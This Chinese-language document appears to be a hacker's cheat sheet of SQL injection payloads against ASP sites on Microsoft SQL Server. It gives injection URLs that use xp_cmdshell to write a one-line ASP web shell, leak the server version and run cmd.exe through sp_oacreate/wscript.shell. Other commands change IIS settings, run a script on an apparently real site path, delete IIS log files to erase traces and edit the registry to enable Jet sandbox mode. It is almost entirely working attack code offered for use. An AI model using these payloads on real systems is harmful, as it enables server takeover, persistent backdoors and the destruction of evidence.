1、 用^转义字符来写ASP(一句话木马)文件的方法: ? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell ''''echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp'''';--
? echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
2、 显示SQL系统版本: ? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION) ? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt'''' --因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''''Readline'''',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
DROP TABLE MYTMP

以下是一行里面将WEB用户加到管理员组中: DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''''wscript.shell'''',@shell output EXEC sp_oamethod @shell,''''run'''',null,''''cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt'''',''''0'''',''''true'''' EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt'''' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''''Readline'''',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行中执行EXE程序: DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''''wscript.shell'''',@shell output EXEC sp_oamethod @shell,''''run'''',null,''''cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt'''',''''0'''',''''true'''' EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt'''' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''''Readline'''',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下三种执行CMD命令的方法:
先删除7.18号日志: (1)exec master.dbo.xp_cmdshell ''''del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt''''
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''''wscript.shell'''',@shell output EXEC sp_oamethod @shell,''''run'''',null,''''cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'''',''''0'''',''''true'''' EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt'''' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''''Readline'''',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试: ? exec master..xp_regwrite ''''HKEY_LOCAL_MACHINE'''',''''SOFTWARE\Microsoft\Jet\4.0\Engines'''',''''SandBoxMode'''',''''REG_DWORD'''',1 注: 0 禁止一切(默认) 1 使能访问ACCESS,但是禁止其它 2 禁止访问ACCESS,但是使能其他 3 使能一切
